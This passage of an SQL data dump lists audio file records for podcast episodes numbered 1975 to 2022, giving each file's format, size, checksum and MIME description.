(1975,'hpr1975.mp3','mp3',6899844,'d0cd0ed611bc6a41eb39a6f3a01dfa2e4a5cab85','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1975,'hpr1975.ogg','ogg',7736996,'755c067390401036addddfc327420bd691dbd9ce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1975,'hpr1975.spx','spx',3081269,'cf77ba0f6ea91595117e3ee3986e48ee993c1e7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1976,'hpr1976.mp3','mp3',22399405,'3432c5e441474abf8680b99d5e41624337ada82f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1976,'hpr1976.ogg','ogg',24764177,'daa76988c0ab9ca279f81d78fa04570293dbaa39','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1976,'hpr1976.spx','spx',10003549,'38b1753784ede4120e166ba80b1cb5e3dbb2b362','application/ogg; charset=binary','Ogg data, Speex audio'),
(1977,'hpr1977.mp3','mp3',7591074,'19b5f82f438b7553ca3f2c4791bdc872b4b1ebcb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1977,'hpr1977.ogg','ogg',8432139,'4d3e1f528b0076e7feda7c2708b8adb7c5d09700','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1977,'hpr1977.spx','spx',3389885,'c35c92615e9466a05cc5ee199bcd6236e881a7ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(1978,'hpr1978.mp3','mp3',2367274,'600bde41e2797b14fffa3fe6bda27b50bc134b41','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1978,'hpr1978.ogg','ogg',2613845,'8486d0a7dfaeddee92d18fab6afbb1589647f4e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1978,'hpr1978.spx','spx',1056939,'f2c42bb5f29c24bba90a2012c1e4a78378909caa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1979,'hpr1979.mp3','mp3',5307626,'b968ab28f78585c751483a3a1ea0e22d6b940c35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1979,'hpr1979.ogg','ogg',6152775,'2f5f02fd68a2a0c5e8e9a1fd81393a42dcaba7cd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1979,'hpr1979.spx','spx',2370139,'5112df9b5d09a2083131eb08c0a84e4bbd0b3e42','application/ogg; charset=binary','Ogg data, Speex audio'),
(1980,'hpr1980.mp3','mp3',5819861,'5ad73d4cebdf7855732728ea97fac703a4bad9fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1980,'hpr1980.ogg','ogg',6619850,'057cadb3dbfe1d550976c57ced42f5e0e1e49335','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1980,'hpr1980.spx','spx',2598965,'a1dd54aab74ef738942272ef9e25fb06b9e69eb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1981,'hpr1981.mp3','mp3',43085669,'63bfccb96c9bb313a712ec5d0c854881bfb3fefe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1981,'hpr1981.ogg','ogg',41997711,'bfdf076656e0c8e7f3cb28add94948843b9886d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1981,'hpr1981.spx','spx',19242155,'4c9b8a62fa862cbbe5143d9bb1e5d8def6243454','application/ogg; charset=binary','Ogg data, Speex audio'),
(1982,'hpr1982.mp3','mp3',14745941,'3629e1186635a3ba74c34d8f7875f438e6a66304','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1982,'hpr1982.ogg','ogg',15957591,'defd659377c6bef01d71d90d8f20b5eeb9807cfb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1982,'hpr1982.spx','spx',6585433,'be67ad8a7a8370fae7a6d9980c45affb808af0bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(1983,'hpr1983.mp3','mp3',17200170,'a08b5c2ba02e69697fa54d9e77f23428c1283764','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1983,'hpr1983.ogg','ogg',16730670,'96de099c2b9f080f07584b6dc02e6027075ba009','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1983,'hpr1983.spx','spx',7681423,'9ded12d6694eb8cd64af4b45c1a8670005fc19e9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1984,'hpr1984.mp3','mp3',5818970,'3695d09300b4d9be3d0d5d618620fbf73d93a0c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1984,'hpr1984.ogg','ogg',6713667,'ce8303d05673b0d665635ba0e019e873a322670c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1984,'hpr1984.spx','spx',2598484,'9d527494b5fabb26a411df14e5027550950552db','application/ogg; charset=binary','Ogg data, Speex audio'),
(1985,'hpr1985.mp3','mp3',2772873,'5b2ece4b5905be95adcc4d7e9e9b8850ea7f2592','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1985,'hpr1985.ogg','ogg',3217196,'bc27c46d191357a8a7e6ee5aa04b1021feadd79b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1985,'hpr1985.spx','spx',1238054,'7a6211de3d6f83a66df42ca7ea9db0c2e9c93db6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1986,'hpr1986.mp3','mp3',30472277,'bc2af33a6f3838146f2662c154ba8a59ee84047e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1986,'hpr1986.ogg','ogg',33430815,'e04318314f8004cc4b55b0d1f176c95288556fcb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1986,'hpr1986.spx','spx',13608928,'ec6edc7e9a5f4a6139f2cc614f1093a5f1fab14e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1987,'hpr1987.mp3','mp3',11706588,'ec8891701a003a07d034f098792e26512f36af7c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1987,'hpr1987.ogg','ogg',12679754,'66f02388be28b64b756068bd864743717778802a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1987,'hpr1987.spx','spx',5228070,'b3d3b49402190d1a4c83626e40dd49025758f1c5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1988,'hpr1988.mp3','mp3',4450557,'6cc76deedebb20c82687445bf3142fad050f2904','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1988,'hpr1988.ogg','ogg',5069381,'4883d1abdffb11da32ee8d4bd1e5f22916ff2e43','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1988,'hpr1988.spx','spx',1987362,'fff2ee5cb1e334d94803a1d4f0e57f882e6f294c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1989,'hpr1989.mp3','mp3',15623899,'0bc9eb7a6f827e2034a7e980845cccc263cf458f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1989,'hpr1989.ogg','ogg',17697452,'bb81b32fe2183f752cc11a1ee727d31ef804ec90','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1989,'hpr1989.spx','spx',6977556,'ed291299597356e8cd35b2bf5b032c76040ed66d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1990,'hpr1990.mp3','mp3',14955176,'b29f7f827e091c674424218c3abb43e56f95f0a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1990,'hpr1990.ogg','ogg',16151547,'dfa6e41f5b55e741ae8d9bddb2f71cfa7b8e9342','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1990,'hpr1990.spx','spx',6678898,'fb9c278fa050508cfc1b5ddbdec91d4459777906','application/ogg; charset=binary','Ogg data, Speex audio'),
(1991,'hpr1991.mp3','mp3',9590453,'7714faaf13b443a928d64ecbbd0ccd722ca515e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1991,'hpr1991.ogg','ogg',10560583,'3b155199298e156a7881037850cb08a1ee5b907e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1991,'hpr1991.spx','spx',4282897,'2456db0d0f7f7f8d1dad37846af6f6068fc71ca0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1992,'hpr1992.mp3','mp3',5047876,'44a921faffc5482578de6197c4d58046f4fb95ab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1992,'hpr1992.ogg','ogg',5763479,'f1cfaf4eab29b9d102b5760fffb512b3c87f2d45','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1992,'hpr1992.spx','spx',2254232,'fdad96f9a3c7c17d01aed45d73cd4b11bccff309','application/ogg; charset=binary','Ogg data, Speex audio'),
(1993,'hpr1993.mp3','mp3',17228207,'f5ffeb9148b390df70e128b52a90f8e2d81b66a1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1993,'hpr1993.ogg','ogg',18671133,'ec38d5283d0dde870c5ac0923a8c29db3a128793','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1993,'hpr1993.spx','spx',7694035,'96c31472ac22ba1ab86da52be336a25508197bd2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1994,'hpr1994.mp3','mp3',29784585,'eeb4226d9e0d3e8a4d9381ca29cdb6b59ebf6f0c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1994,'hpr1994.ogg','ogg',33407036,'3fb89d05dc9633e15e21cbf0053ba51d5390f5cd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1994,'hpr1994.spx','spx',13301789,'9fe3d4eee54be11dbbb7b309bcd5eb31497535b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1995,'hpr1995.mp3','mp3',14909363,'4d3976c18f548717ed13ae4f8751bfb31d458a83','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1995,'hpr1995.ogg','ogg',16891665,'5cbf8e68102ea79e1f27ad5b00102f11e3e4362a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1995,'hpr1995.spx','spx',6658410,'8808bf01cd473d29f65163c064ce094a0b84b189','application/ogg; charset=binary','Ogg data, Speex audio'),
(1996,'hpr1996.mp3','mp3',9730853,'502c94cee39b63d12f235c5eb5b836580b49454c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1996,'hpr1996.ogg','ogg',10527237,'4771b3c966fdc74f5f4a9a4031933dcd528b73b4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1996,'hpr1996.spx','spx',4345606,'4ea12affeec2bdc946236bb376e01b2fd87393e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1997,'hpr1997.mp3','mp3',31704440,'23a020300d2ec555b63dad3576c6f7c1850b7c81','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1997,'hpr1997.ogg','ogg',34720067,'d48117287e77e6feb40b60473b5ef352d2b29f23','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1997,'hpr1997.spx','spx',14159327,'4c2bb829b8f9afcd68f8c0360c063a2a98ff39a5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1998,'hpr1998.mp3','mp3',11762942,'ac0693a08d052df6c49b32e7de01bfe1e904a310','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1998,'hpr1998.ogg','ogg',12796402,'f94748f525e866bea512b605b65468af747e1531','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1998,'hpr1998.spx','spx',5253152,'d4f21b41b08a90ed2f5f049dd7640fbbf2c7258c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1999,'hpr1999.mp3','mp3',10628690,'ac063e8f52034de1e4152aca53340dd5a77657cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1999,'hpr1999.ogg','ogg',12371445,'5f1a9331c1da7717362b3f59a89e0838e940c7e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1999,'hpr1999.spx','spx',4746683,'0605b6e349a1fe5a79ff429a66902e628902b0e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2000,'hpr2000.mp3','mp3',31813560,'8d2e6d9af543c871df6bf605398ba48a9067cf57','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2000,'hpr2000.ogg','ogg',35618529,'258ac3133fa0843b0a9692c2f4cbb3636aa58d0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2000,'hpr2000.spx','spx',14208008,'202d385965df42095b63a81973e5ed52f4b48e64','application/ogg; charset=binary','Ogg data, Speex audio'),
(2001,'hpr2001.mp3','mp3',43629846,'9eb6b6bd3be14e50f8938308836e3a6071529807','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2001,'hpr2001.ogg','ogg',43346148,'76ced40bc4be5a12a16a6b646436ea871d0ca40a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2001,'hpr2001.spx','spx',19485257,'c847bc14974ad16e4e5612d583a41cef827b2fb4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2002,'hpr2002.mp3','mp3',7526737,'83484f22c23f24daefd154d8467e446ee9f2f7a5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2002,'hpr2002.ogg','ogg',7381797,'a113bf6ab4ea7f3ed79dae5a849c3ae75ccc2659','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2002,'hpr2002.spx','spx',3361281,'6b7c0467fedb5b96bddc943909b7f84e8867d50f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2003,'hpr2003.mp3','mp3',6669141,'c41a6b295a5b52da4298f28787871c09a0f764e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2003,'hpr2003.ogg','ogg',7342874,'33ba68e7cea30093f249764e53aac512bc37cd66','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2003,'hpr2003.spx','spx',2978250,'8f997b309001dde93899456f9f0abea37a567cfb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2004,'hpr2004.mp3','mp3',17610471,'86cac09cbbd35e020901ddbeec91f66b047abc3f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2004,'hpr2004.ogg','ogg',16926817,'5d91fbce2748dcd65fa4e577b8006e0701fc8fc2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2004,'hpr2004.spx','spx',7864730,'e64ace2058f2585d90271ba297927ed7d6f5ffba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2005,'hpr2005.mp3','mp3',8879068,'277cff1f98e53552cb62045fe3168b419e4130f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2005,'hpr2005.ogg','ogg',9486674,'9a94e6bb7970496cd3a5119a878017a6946f838c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2005,'hpr2005.spx','spx',3965258,'e0636e39cf161f3002e80fea8491a81158bcd904','application/ogg; charset=binary','Ogg data, Speex audio'),
(2006,'hpr2006.mp3','mp3',16492612,'a12f56e35ee0a85871b68aae61a642ce951c3501','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2006,'hpr2006.ogg','ogg',17676375,'41622014344da248547d8075100148acac01f65e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2006,'hpr2006.spx','spx',7365484,'4f3ec083d62230955ad9babcd4042ef3d1991ee0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2007,'hpr2007.mp3','mp3',9396698,'7de99911257045df935220c7ab9211084c2fa1ac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2007,'hpr2007.ogg','ogg',10524123,'ada2392080c5e536b56600200cc8e534fea7a688','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2007,'hpr2007.spx','spx',4196345,'d73b3e670efb6b76e455a0372917fb1463462073','application/ogg; charset=binary','Ogg data, Speex audio'),
(2008,'hpr2008.mp3','mp3',10496972,'f7729abec23533b438b9fa2349d4b06dc672822f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2008,'hpr2008.ogg','ogg',11743645,'f526fb5b35e7a13bf3cd8653b1d0950e6a8c150f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2008,'hpr2008.spx','spx',4687740,'60a24cf66e4883840f701164ca0d51707c771129','application/ogg; charset=binary','Ogg data, Speex audio'),
(2009,'hpr2009.mp3','mp3',13229227,'c20c0d4359dc087ce4c42cd888f2e0f48dfd9862','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2009,'hpr2009.ogg','ogg',15016615,'d7e23d5cbd232935d34b36c81711f053e1c310dc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2009,'hpr2009.spx','spx',5908093,'1d9e95719b190f2a93df884703ae685d881230ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(2010,'hpr2010.mp3','mp3',6910439,'2b6c25dfd7fc64086fffd66a1755a646866d394e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2010,'hpr2010.ogg','ogg',7284606,'e66c4ca07c40751f61bd4d5c27d0b02d3c0de084','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2010,'hpr2010.spx','spx',3085989,'92097396c98e794e2c01ad7032486273b409180e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2011,'hpr2011.mp3','mp3',23935415,'cb2ce14b90267d45b989cc73f3af9e3eb1459008','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2011,'hpr2011.ogg','ogg',26308128,'edfed7d3b68df122962deea0e6468fe7b597d7af','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2011,'hpr2011.spx','spx',10689560,'04d89717e756ddb6ca1a7fc333143cd6a642063f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2012,'hpr2012.mp3','mp3',11182232,'54fada8f227628997556e04369e7c73b05827af3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2012,'hpr2012.ogg','ogg',11973704,'0548f14d4866017a3ff3e6a9e85a136fdc7e1a9b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2012,'hpr2012.spx','spx',4993820,'ed102808b41222f1de90fe54052c2cc29caec00a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2013,'hpr2013.mp3','mp3',7882864,'60f99e87578b747d43f18490d37c707994370e8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2013,'hpr2013.ogg','ogg',8428879,'5359000bb7c3e46b720a1fdf52add79b05f21ccf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2013,'hpr2013.spx','spx',3520281,'ebb03c0d83850e932fef9dff9a663808747ea37c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2014,'hpr2014.mp3','mp3',10713918,'7e0dc457a26a3614a8c785931c4c34924f009df7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2014,'hpr2014.ogg','ogg',10258787,'56e6acfa7b3db2d5af5cc52fc6c8e84c95c2f7ec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2014,'hpr2014.spx','spx',4784663,'503a00190a236c2206746e73be53fcab85cf7581','application/ogg; charset=binary','Ogg data, Speex audio'),
(2015,'hpr2015.mp3','mp3',9957796,'c7d8eb15b3f92d0ab2dacb75c7db27b3f6f89578','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2015,'hpr2015.ogg','ogg',11654338,'705e63bb95650ad6088def8dfc8124cbd8119677','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2015,'hpr2015.spx','spx',4446923,'26cc92747abb5184e646a2e43ce29bde637f4d75','application/ogg; charset=binary','Ogg data, Speex audio'),
(2016,'hpr2016.mp3','mp3',7444412,'5e46780c9026490a4f833138729c4d77cf1fb3a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2016,'hpr2016.ogg','ogg',8420211,'0c662b0cb8099433f4488b3868056b42f23d4011','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2016,'hpr2016.spx','spx',3324486,'5688ef5f9ca79fccf0b8dd65c353ca3de37a2178','application/ogg; charset=binary','Ogg data, Speex audio'),
(2017,'hpr2017.mp3','mp3',7080810,'62eecdfd874b5eb1167b3a11813de6695f7f1b60','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2017,'hpr2017.ogg','ogg',7305002,'2c7000153061efa624da66a54abdd7f9b660c6bb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2017,'hpr2017.spx','spx',3162144,'ee6e688e4d871dd22cc63e7cb6831a565f6eff99','application/ogg; charset=binary','Ogg data, Speex audio'),
(2018,'hpr2018.mp3','mp3',8974346,'ad08d96d80d0b08e557eb6091c0613e8b0874e97','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2018,'hpr2018.ogg','ogg',9629894,'622359685bd51f362bbaa219064d53b74bf62ce7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2018,'hpr2018.spx','spx',4007757,'a1160d2b8da814672681ab31d1f565b509422388','application/ogg; charset=binary','Ogg data, Speex audio'),
(2019,'hpr2019.mp3','mp3',9331963,'6870b05c2dfd63d7655715f6d50d2409b08d9086','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2019,'hpr2019.ogg','ogg',10963991,'2cd3d9276dc286970ba203a586f019e0b741cd42','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2019,'hpr2019.spx','spx',4167521,'a40c6d76a9d1ad3e845c718f308d8a7c3409e169','application/ogg; charset=binary','Ogg data, Speex audio'),
(2020,'hpr2020.mp3','mp3',7155778,'fdbb2e86d97a41d809150e1fc9084ab7e8f7ae2f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2020,'hpr2020.ogg','ogg',7765225,'bfde5cb838e4b3f102112993f879fddbc1359677','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2020,'hpr2020.spx','spx',3195531,'43adbc5ab5ea9d4e4eb148a071a0814c639d1c81','application/ogg; charset=binary','Ogg data, Speex audio'),
(2021,'hpr2021.mp3','mp3',45264275,'12323722f963eab3fc53a6089729925f92740bad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2021,'hpr2021.ogg','ogg',46911734,'9374ec148c8f0e2611f1f78d80f9d0e5755aecb7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2021,'hpr2021.spx','spx',20215122,'e7d8aa8fe6b2b00d1a0577d1b041260068bd8b09','application/ogg; charset=binary','Ogg data, Speex audio'),
(2022,'hpr2022.mp3','mp3',13767909,'d4a947cc670e016d9b2228c2776f8d62f7fe4ae0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2022,'hpr2022.ogg','ogg',15432249,'d69d5fb024e1f6ebbe379eb9f85ffdfae0c2cf8c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2022,'hpr2022.spx','spx',6148621,'60b7d0e97d22e6e2bea95f5eb344692a590bc332','application/ogg; charset=binary','Ogg data, Speex audio'),
